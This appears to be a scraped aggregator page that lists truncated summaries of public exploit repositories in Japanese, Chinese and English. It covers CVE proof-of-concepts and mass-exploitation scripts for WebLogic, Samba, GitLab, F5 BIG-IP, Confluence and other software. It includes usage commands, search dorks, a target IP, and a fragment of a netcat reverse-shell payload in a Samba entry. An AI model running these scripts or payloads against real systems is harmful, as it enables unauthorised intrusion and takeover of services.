cve-2021-3157

cve-2021-3156 まさかスクリプトキディは自分だった?...

CVE-2020-7961-Mass

CVE-2020-7961-Mass CVE-2020–7961 のスクリプトキディ向け一括エクスプロイト テスト環境: Kali Linux, Windows,... 要件: apt install python3 pip3 install requests colorama 使用方法: python3 rce.py target url | 単一ターゲット向け python3 mass.py list url | リストターゲット向け Saved file to: linux.txt, win.txt シンプルシェル: python shell.py target Dork:...

weblogicPoc

weblogicPoc Weblogic Vuln POC EXP cve-2020-2551 cve-2020-2555 cve-2020-2883 ，。。。 Patch CVE-2020-2551 更新原版本（https://github.com/Y4er/CVE-2020-2551.git）遇到为私有地址的服务器无法直连检测问题。 CVE-2020-2555 更新cve-2020-2555 exp，python脚本。 CVE-2020-2883 更新cve-2020-2883 exp，python脚本。 参考 https://github.com/Y4er/CVE-2020-288...

CVE-2020-19360

CVE-2020-19360 Fhem任意ファイル読み取りPoC FOFA検索 title=="Home, Sweet Home" Usage: python3 Fhem.py -h python3 Fhem.py -u http://www.example.com 単一URLテスト python3 Fhem.py -f url.txt バッチ検出 ヒント スキャン完了後、ディレクトリ内に脆弱性のあるvulable.txtファイルが自動生成されます。 免責事項 本情報の流布・利用によって生じた直接的または間接的な損害・損失はすべて利用者本人が負うものとし、作者は一切の責任を負いません。...

heartbleed

Patrik Karlsson は ssl-heartbleed を実装し、svn.nmap.org にコミットしました。以下から取得できます: https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse 。ここで議論が行われています: http://seclists.org/nmap-dev/2014/q2/22 。 詳細は以下から: http://heartbleed.com ssltest.py の作者に謝意を表します。 http://s3.jspenguin.org/ssltest.py nmap -p 443 -sC --scrip...

CVE-2025-65442-DOM-based-Cross-Site-Scripting-XSS-Vulnerability-in-novel-V3.5.0-CWE-79-

ターゲット:http://117.72.165.13:8888/ Github:https://github.com/201206030/novel バージョン:V3.5.0 脆弱性名称:novel V3.5.0 における DOM ベースクロスサイトスクリプティング XSS 脆弱性 CWE-79 脆弱性タイプ: DOM ベースクロスサイトスクリプティング DOM-based XSS 発見日: 2025-11-02 脆弱性詳細: novel V3.5.0 は、Spring Boot 3 + Vue 3 ベースの小説読書プラットフォームであり、そのブックコメントモジュールに DOM ベース...

CVE-2007-2447

CVE-2007-2447 PoC：Samba “usermap script” 远程命令执行（历史 CVE）。本仓库包含一个用于研究和教学审查的小型概念验证脚本。主要脚本为 usermapscriptCommandExecution.py。 参考文章：https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ 用法 克隆仓库并在受控实验环境中运行脚本。该 PoC 可选择使用回连到 LHOST:LPORT 的反向 Shell——运行脚本前请先启动监听器，并确保依赖已安装（参见“安装”部分）。 git clone...

EUVD-2026-94983

Improper neutralization of Script-Related HTML tags in a web page basic XSS vulnerability in İzometri IT Services Domestic and Foreign Trade Co. Ltd. Eimzamip allows Stored XSS. This issue affects eimzamip: from v1.6.4 before v1.6.7...

Gitlab-CVE-2021-22205

Gitlab-CVE-2021-22205 CVE-2021-22205 的多线程批量检测脚本 使用 dnslog 可配合 poc 检测 使用多线程进行检测 可自定义命令执行...

HeartBleed-Vulnerability-Checker

HeartBleed-Vulnerability-Checker author = 'WaQas-JaMal' CVE-2014-0160 的快速而粗糙的演示，由 Jared Stafford（[email protected]）编写；作者声明放弃对此源代码的版权。 ''' 我已修改此脚本，使其能够接受任意输入的 URL 文件。从提供的 URL 集合中检查有效的 tld，创建唯一集合并将其解析到脚本中以检查 heartbleed 漏洞。 联系方式：contact at waqasjamal dot com ''' 更新 脚本现在只清理 URL，而不再检查有效的 tld。...

cve-2023-46747

CVE-2023-46747 利用脚本 此脚本利用 F5 BIG-IP TMUI 远程代码执行漏洞 CVE-2023-46747 。它允许未认证的攻击者在易受攻击的 F5 BIG-IP 系统上执行任意命令。 目录 特性 环境要求 使用方法 参数 工作原理 免责声明 特性 未认证用户创建： 在目标系统上生成一个用户。 令牌获取： 使用创建的用户获取认证令牌。 远程命令执行： 在目标系统上执行任意 shell 命令。 环境要求 Python 3.8+ 模块： argparse binascii json random requests time urllib3 使用 pip 安装缺失的模块：...

CVE-2023-1545-POC

概要 これは、Teampass における CVE-2023-1545 の概念実証スクリプトを含んでいます。 POCを含む元のレポートは非公開にされたため、これをオリジナルを見逃した方への参考としてアップロードしました。 私はこのスクリプトの作成に対する功績を主張しません。...

CVE-2025-55182-NSE

Nmap脚本引擎 .nse 用于 CVE-2025-55182 https://nvd.nist.gov/vuln/detail/CVE-2025-55182 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⠴⠶⠶⠒⠒⠒⠒⠒⠶⠶⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⠶⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⢶⣄⠀⣠⠴⠚⠛⠳⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠛⠉⠛⣶⠞⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠦⣄⠀⠀⠀⠀⠀⠀⠈⠻⡅⠀⠀⠀⠀⠈⢷⡀⠀⠀⠀⠀⠀⠀⠀⠀...

CVE-2022-41544

CVE-2022-41544 CVE-2022-41544 漏洞利用脚本 - get-simple CMS 中的远程代码执行 用法 Usage: python3 CVE-2022-41544.py 示例...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 是 Wonder CMS 中的一个反射型 XSS 漏洞，可进一步通过 installModule 组件利用恶意脚本执行任意代码。 使用方法 针对目标的 loginURL 运行漏洞利用程序，指定用于托管恶意 .js 文件的 Web 服务器的 IP 和端口： $ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888 + 创建 PHP Web Shell + 写入 malicious.js + XSS Payload：...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 使い方 Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost 10.129.232.46...

CVE-2020-10199-10204

CVE-2020-10199-10204 http://1984-0day.com python3 poc.py -i 127.0.0.1 -p 8081 -c cookie -csrf csrf-token parse = argparse.ArgumentParser parse.addargument'-i', '--ip', help='ip' parse.addargument'-p', '--port', default='8081', help='port' parse.addargument'-c', '--cookie', help='HTTP cookie'...

CVE-2020-11650

FreeNAS DoS CVE-2020-11650 python3 attack.py TargetIP...

EUVD-2026-94888

Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability in MediaRon LLC WP Plugin Info Card wp-plugin-info-card allows Stored XSS.This issue affects WP Plugin Info Card: from n/a through 6.3.5...

CVE-2023-22515-Exploit-Script

CVE-2023-22515の自動悪用 - Confluence権限昇格 このリポジトリには、CVE-2023-22515のための自動エクスプロイトスクリプトが含まれています。この脆弱性はAtlassian Confluenceの重大な脆弱性であり、認証されていない攻撃者が管理者アカウントを作成し、影響を受けるインスタンスを完全に制御することを可能にします。このスクリプトは単一ターゲットと大量エクスプロイトの両モードをサポートしており、ペネトレーションテスターやセキュリティ研究者に適しています。 特徴 自動エクスプロイト –...